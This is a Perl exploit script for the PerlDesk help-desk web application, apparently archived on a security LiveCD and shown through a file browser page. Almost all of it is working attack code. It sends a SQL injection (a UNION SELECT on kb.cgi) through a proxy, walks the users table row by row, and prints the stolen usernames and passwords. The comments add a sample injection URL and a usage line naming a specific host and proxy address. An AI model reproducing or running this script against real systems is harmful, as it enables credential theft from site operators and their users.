home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / perldesk / pdsploit.pl < prev   
Perl Script  |  2005-03-05  |  2KB  |  83 lines

  1. #!/usr/bin/perl
  2.  
  3. # Example:
  4. # kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users
  5.  
  6. # Exploit is attached.
  7. # ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80
  8.  
  9. use IO::Socket;
  10.  
  11. print '
  12. ########################################################
  13. # PerlDesk exploit
  14. #
  15. # Usage: ./pdsploit.pl host path proxy
  16. #
  17. #
  18. #
  19. # Vunerability discovered by
  20. #
  21. # deluxe89 and Astovidatu [ www.security-project.org ]
  22. #
  23. #
  24. #
  25. # Special thanks to doc and WebDoctor┤s
  26. #
  27. ########################################################
  28.  
  29. ';
  30.  
  31. if($#ARGV != 2)
  32. {
  33.        exit;
  34. }
  35.  
  36. $host = $ARGV[0];
  37. $path = $ARGV[1];
  38. $proxy = $ARGV[2];
  39. ($addr, $port) = split(/:/, $proxy);
  40.  
  41. $offset = 0;
  42.  
  43. while(1)
  44. {
  45.        $value =
  46. "view=0%20UNION%20SELECT%20'0','0',CONCAT('_P',password,'P_'),CONCAT('_U',username,'U_'),'0','0'%20FROM%20users%20LIMIT%20$offset,1";
  47.  
  48.        $socket = IO::Socket::INET->new(Proto => "tcp",
  49. PeerAddr => $addr, PeerPort => $port) || die "[-]
  50. Proxy doesn't work\n";
  51.        print $socket "GET http://$host$path?$value
  52. HTTP/1.1\nHost: $host\n\n";
  53.  
  54.        $user = '';
  55.        $pass = '';
  56.        while(defined(my $data = <$socket>))
  57.        {
  58.                if($data =~ m/_P(.*)P_/)
  59.                {
  60.                        $pass = $1;
  61.                }
  62.                if($data =~ m/_U(.*)U_/)
  63.                {
  64.                        $user = $1;
  65.                }
  66.        }
  67.  
  68.        if($user ne '' && $pass ne '')
  69.        {
  70.                print "$user:$pass\n";
  71.        }
  72.        else
  73.        {
  74.                die "[+] Finished\n";
  75.        }
  76.  
  77.        $offset++;
  78. }
  79.  
  80. # code by deluxe89 [ www.security-project.org ]
  81.  
  82. # milw0rm.com [2005-02-05]
  83.